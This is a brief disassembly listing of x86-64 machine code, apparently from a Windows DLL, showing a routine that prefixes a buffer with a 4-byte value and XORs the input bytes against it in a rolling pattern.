mov edi, edx
mov rsi, rcx
cmp r10, rax
jbe 0x180003ea8
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
call fcn.180003350
mov dword [rbx], eax
test edi, edi
je 0x180003ede
xor edx, edx
lea rcx, [rbx + 4]
sub rsi, rbx
mov r8, rdi
nop
mov rax, rdx
lea rcx, [rcx + 1]
and eax, 3
inc rdx
movzx eax, byte [rax + rbx]
xor al, byte [rsi + rcx - 5]
mov byte [rcx - 1], al
sub r8, 1
jne 0x180003ec0
mov rbx, qword [rsp + 0x30]
lea eax, [rdi + 4]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret